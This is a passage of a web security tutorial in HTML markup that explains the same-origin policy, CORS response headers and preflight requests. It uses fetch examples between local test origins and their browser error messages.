&lt;span class="na"&gt;Content-Length&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;7&lt;/span&gt;
&lt;span class="na"&gt;Connection&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;keep-alive&lt;/span&gt;
&lt;span class="na"&gt;Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;SESSIONID=s3cr3t&lt;/span&gt;
&lt;span class="na"&gt;Pragma&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;no-cache&lt;/span&gt;
&lt;span class="na"&gt;Cache-Control&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;no-cache&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  ❌ Not allowed: Inspect the fetch response
&lt;/h3&gt;

&lt;p&gt;It's the same with fetch. Sending the credentialed, cross-origin POST request was permitted, but accessing the response was denied.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="err"&gt;❌&lt;/span&gt; &lt;span class="nx"&gt;Cross&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Origin&lt;/span&gt; &lt;span class="nx"&gt;Request&lt;/span&gt; &lt;span class="nx"&gt;Blocked&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;The&lt;/span&gt; &lt;span class="nx"&gt;Same&lt;/span&gt; &lt;span class="nx"&gt;Origin&lt;/span&gt; &lt;span class="nx"&gt;Policy&lt;/span&gt; &lt;span class="nx"&gt;disallows&lt;/span&gt; &lt;span class="nx"&gt;reading&lt;/span&gt; &lt;span class="nx"&gt;the&lt;/span&gt; &lt;span class="nx"&gt;remote&lt;/span&gt; &lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="nx"&gt;at&lt;/span&gt; &lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;//b.local/. (Reason: CORS header ‘Access-Control-Allow-Origin’ missing).&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We'll get to what the &lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt; thing is in a minute, but let's look at a couple more scenarios first.&lt;/p&gt;

&lt;h3&gt;
  
  
  ❌ Not allowed: Sending PUT, PATCH, DELETE, etc. requests
&lt;/h3&gt;

&lt;p&gt;Only specific HTTP verbs are allowed by default (GET, POST, HEAD, and OPTIONS).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://b.local/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;PUT&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;include&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="err"&gt;❌&lt;/span&gt; &lt;span class="nx"&gt;Access&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="nx"&gt;fetch&lt;/span&gt; &lt;span class="nx"&gt;at&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://b.local/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="nx"&gt;origin&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://a.local&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="nx"&gt;has&lt;/span&gt; &lt;span class="nx"&gt;been&lt;/span&gt; &lt;span class="nx"&gt;blocked&lt;/span&gt; &lt;span class="nx"&gt;by&lt;/span&gt; &lt;span class="nx"&gt;CORS&lt;/span&gt; &lt;span class="nx"&gt;policy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Response&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="nx"&gt;preflight&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt; &lt;span class="nx"&gt;doesn&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;t pass access control check: No &lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;Access&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Control&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Allow&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Origin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt; header is present on the requested resource. If an opaque response serves your needs, set the request&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt; &lt;span class="nx"&gt;mode&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;no-cors&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="nx"&gt;fetch&lt;/span&gt; &lt;span class="nx"&gt;the&lt;/span&gt; &lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="kd"&gt;with&lt;/span&gt; &lt;span class="nx"&gt;CORS&lt;/span&gt; &lt;span class="nx"&gt;disabled&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note that this time the browser didn't send the request at all. Also, note that the error is now different. It's talking about a &lt;em&gt;preflight&lt;/em&gt; request. We'll get to that soon.&lt;/p&gt;

&lt;h3&gt;
  
  
  ❌ Not allowed: Sending arbitrary headers
&lt;/h3&gt;

&lt;p&gt;Trying to send a request with arbitrary headers is not allowed by the same-origin policy.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://b.local/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;include&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Foo&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Bar&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="err"&gt;❌&lt;/span&gt; &lt;span class="nx"&gt;Access&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="nx"&gt;fetch&lt;/span&gt; &lt;span class="nx"&gt;at&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://b.local/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="nx"&gt;origin&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://a.local&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="nx"&gt;has&lt;/span&gt; &lt;span class="nx"&gt;been&lt;/span&gt; &lt;span class="nx"&gt;blocked&lt;/span&gt; &lt;span class="nx"&gt;by&lt;/span&gt; &lt;span class="nx"&gt;CORS&lt;/span&gt; &lt;span class="nx"&gt;policy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Response&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="nx"&gt;preflight&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt; &lt;span class="nx"&gt;doesn&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;t pass access control check: No &lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;Access&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Control&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Allow&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Origin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt; header is present on the requested resource. If an opaque response serves your needs, set the request&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt; &lt;span class="nx"&gt;mode&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;no-cors&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="nx"&gt;fetch&lt;/span&gt; &lt;span class="nx"&gt;the&lt;/span&gt; &lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="kd"&gt;with&lt;/span&gt; &lt;span class="nx"&gt;CORS&lt;/span&gt; &lt;span class="nx"&gt;disabled&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Only the &lt;a href="https://developer.mozilla.org/en-US/docs/Glossary/CORS-safelisted_request_header" rel="noopener noreferrer"&gt;CORS-safelisted headers&lt;/a&gt; are allowed by default. And they are: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Accept&lt;/li&gt;
&lt;li&gt;Accept-Language&lt;/li&gt;
&lt;li&gt;Content-Language&lt;/li&gt;
&lt;li&gt;Content-Type&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  ❌ Not allowed: Sending JSON requests
&lt;/h3&gt;

&lt;p&gt;While the &lt;code&gt;Content-Type&lt;/code&gt; header is safelisted, it is so with restrictions. Specifically, only the following values are acceptable: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;application/x-www-form-urlencoded&lt;/li&gt;
&lt;li&gt;multipart/form-data&lt;/li&gt;
&lt;li&gt;text/plain
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://b.local/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;include&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;application/json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="err"&gt;❌&lt;/span&gt; &lt;span class="nx"&gt;Access&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="nx"&gt;fetch&lt;/span&gt; &lt;span class="nx"&gt;at&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://b.local/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="nx"&gt;origin&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://a.local&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="nx"&gt;has&lt;/span&gt; &lt;span class="nx"&gt;been&lt;/span&gt; &lt;span class="nx"&gt;blocked&lt;/span&gt; &lt;span class="nx"&gt;by&lt;/span&gt; &lt;span class="nx"&gt;CORS&lt;/span&gt; &lt;span class="nx"&gt;policy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Response&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="nx"&gt;preflight&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt; &lt;span class="nx"&gt;doesn&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;t pass access control check: No &lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;Access&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Control&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Allow&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Origin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt; header is present on the requested resource. If an opaque response serves your needs, set the request&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt; &lt;span class="nx"&gt;mode&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;no-cors&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="nx"&gt;fetch&lt;/span&gt; &lt;span class="nx"&gt;the&lt;/span&gt; &lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="kd"&gt;with&lt;/span&gt; &lt;span class="nx"&gt;CORS&lt;/span&gt; &lt;span class="nx"&gt;disabled&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Again with the preflight.&lt;/p&gt;

&lt;p&gt;Alright, now that you understand the restrictions that same-origin policy places upon you, I'll tell you what CORS is and how it helps you get around those limitations in a controlled way.&lt;/p&gt;

&lt;h2&gt;
  
  
  Cross-Origin Resource Sharing (CORS)
&lt;/h2&gt;

&lt;p&gt;CORS can lift the above restrictions. It's not a browser security mechanism like the same-origin policy. CORS is a browser &lt;em&gt;insecurity&lt;/em&gt;-mechanism, so read carefully and use it with consideration.&lt;/p&gt;

&lt;p&gt;Browsers implement CORS as a set of four HTTP response headers, which we'll get to right now.&lt;/p&gt;

&lt;h3&gt;
  
  
  Access-Control-Allow-Origin
&lt;/h3&gt;

&lt;p&gt;The first header is &lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt;. Developers can use it to grant cross-origin requests the read-permission to a website's resources (which is denied by the same-origin policy by default).&lt;/p&gt;

&lt;p&gt;Possible values are: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;a specific origin such as &lt;code&gt;https://www.appsecmonkey.com&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;a wildcard, allowing any domain&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Access-Control-Allow-Origin&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;https://wwww.appsecmonkey.com&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Access-Control-Allow-Origin&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="err"&gt;*&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It's either-or. Something like this would &lt;strong&gt;not&lt;/strong&gt; work:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Access-Control-Allow-Origin&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="err"&gt;*&lt;/span&gt;&lt;span class="s"&gt;.appsecmonkey.com&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Also, specifying multiple origins is &lt;strong&gt;not&lt;/strong&gt; allowed, so the following would &lt;strong&gt;not&lt;/strong&gt; work either.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Access-Control-Allow-Origin&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;https://foo.appsecmonkey.com, https://bar.appsecmonkey.com/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  CORS wildcard restrictions
&lt;/h4&gt;

&lt;p&gt;The wildcard will not work in combination with &lt;code&gt;Access-Control-Allow-Credentials: true&lt;/code&gt;, which you'll learn about shortly. Just remember this limitation.&lt;/p&gt;

&lt;h4&gt;
  
  
  How to specify multiple CORS origins?
&lt;/h4&gt;

&lt;p&gt;The spec doesn't support multiple origins. However, in practice, it has been solved by generating the &lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt; header dynamically in your code. This workaround is facilitated by the &lt;code&gt;Origin&lt;/code&gt; request header, which browsers send in all POST and CORS requests.&lt;/p&gt;

&lt;p&gt;Note that there is a security hazard here. It's best to use a well-established CORS library for your development framework of choice instead of implementing a homemade solution.&lt;/p&gt;

&lt;p&gt;At any rate, you should have a &lt;em&gt;strict whitelist&lt;/em&gt; of possible origins. &lt;strong&gt;Do not&lt;/strong&gt; implement logic that, e.g., checks if the request origin &lt;em&gt;contains&lt;/em&gt; a specific string or &lt;em&gt;starts with&lt;/em&gt; one.&lt;/p&gt;

&lt;h3&gt;
  
  
  Access-Control-Allow-Credentials
&lt;/h3&gt;

&lt;p&gt;By default, CORS doesn't allow credentialed requests (that include the browser user's cookies). After all, credentialed CORS requests effectively give the websites to whom the privilege is granted full read and write control of the browser user's data in the application.&lt;/p&gt;

&lt;p&gt;If you still want to enable it, you can use the &lt;code&gt;Access-Control-Allow-Credentials&lt;/code&gt; header like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Access-Control-Allow-Credentials&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Just note the limitation mentioned above: this does not work in conjunction with &lt;code&gt;Access-Control-Allow-Origin: *&lt;/code&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  Important caveat about SameSite cookies
&lt;/h4&gt;

&lt;p&gt;Browsers are starting to adopt SameSite cookies in Lax mode as the default. I've written about SameSite cookies at length &lt;a href="https://www.appsecmonkey.com/blog/samesite-cookies/" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;What this means is that cookies are by default protected from cross-site interactions. If you are banging your head against the wall trying to figure out why the browser doesn't send your cookie even when you have all the proper headers in place, it might be SameSite cookies in action.&lt;/p&gt;

&lt;h3&gt;
  
  
  Access-Control-Allow-Headers
&lt;/h3&gt;

&lt;p&gt;If you want to send custom headers or lift the restriction on the &lt;code&gt;Content-Type&lt;/code&gt; header to, e.g., send JSON requests, you can use the &lt;code&gt;Access-Control-Allow-Headers&lt;/code&gt; to do so.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Access-Control-Allow-Headers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;content-type&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Access-Control-Allow-Methods
&lt;/h3&gt;

&lt;p&gt;Finally, suppose you want to enable other HTTP verbs than GET, POST, HEAD, and OPTIONS. In that case, you have to use the &lt;code&gt;Access-Control-Allow-Methods&lt;/code&gt; header.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Access-Control-Allow-Methods&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;GET, POST, HEAD, PUT, PATCH, DELETE&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In fact, even if you only want to allow, e.g., POST requests, you are still required to return &lt;code&gt;Access-Control-Allow-Methods&lt;/code&gt; if there are any other factors that cause your request to be &lt;em&gt;preflighted&lt;/em&gt;, which we'll talk about next.&lt;/p&gt;

&lt;h3&gt;
  
  
  Preflight
&lt;/h3&gt;

&lt;p&gt;Simple requests with the whitelisted HTTP verbs, headers, and content-type are always &lt;em&gt;sent&lt;/em&gt;. Still, the website is forbidden access to the response data if the response doesn't contain the appropriate &lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt; header.&lt;/p&gt;

&lt;p&gt;But how does the browser know whether it is allowed to &lt;em&gt;send&lt;/em&gt; a PUT request or not? If the answer to the question "can I send a PUT request" is in response to the PUT request, doesn't this create a chicken and egg problem? That's a great question, and the answer is simple: we send two requests.&lt;/p&gt;

&lt;p&gt;The browser first sends an &lt;code&gt;OPTIONS&lt;/code&gt; request with the &lt;code&gt;Origin&lt;/code&gt; header, and then looks at the response headers for that request. If &lt;code&gt;PUT&lt;/code&gt; is allowed (in &lt;code&gt;Access-Control-Allow-Methods&lt;/code&gt;), only then the preflight succeeds, and the browser sends the desired PUT request.&lt;/p&gt;

&lt;p&gt;Of course there are other reasons why the preflight might fail. For example, you might be trying to send a request with credentials included, but the webserver doesn't return &lt;code&gt;Access-Control-Allow-Credentials: true&lt;/code&gt; in the preflight HTTP response.&lt;/p&gt;

&lt;p&gt;This first OPTIONS request is aptly named the &lt;a href="https://developer.mozilla.org/en-US/docs/Glossary/Preflight_request" rel="noopener noreferrer"&gt;preflight request&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  CORS in action
&lt;/h3&gt;

&lt;p&gt;Let's revisit one of the tests we made earlier, but this time, &lt;a href="http://b.local/" rel="noopener noreferrer"&gt;http://b.local/&lt;/a&gt; returns the following HTTP response headers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Access-Control-Allow-Credentials&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;span class="na"&gt;Access-Control-Allow-Headers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;content-type&lt;/span&gt;
&lt;span class="na"&gt;Access-Control-Allow-Methods&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;GET, HEAD, POST, PUT&lt;/span&gt;
&lt;span class="na"&gt;Access-Control-Allow-Origin&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;http://a.local&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  ✅ Allowed: Sending credentialed cross-origin GET, HEAD, POST, and PUT requests with fetch and reading the response
&lt;/h3&gt;

&lt;p&gt;Now we have complete control of the cross-origin page.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://b.local&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;PUT&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;include&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;application/json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
    &lt;span class="p"&gt;}}).&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}).&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// This is the HTML from our response as a text string&lt;/span&gt;
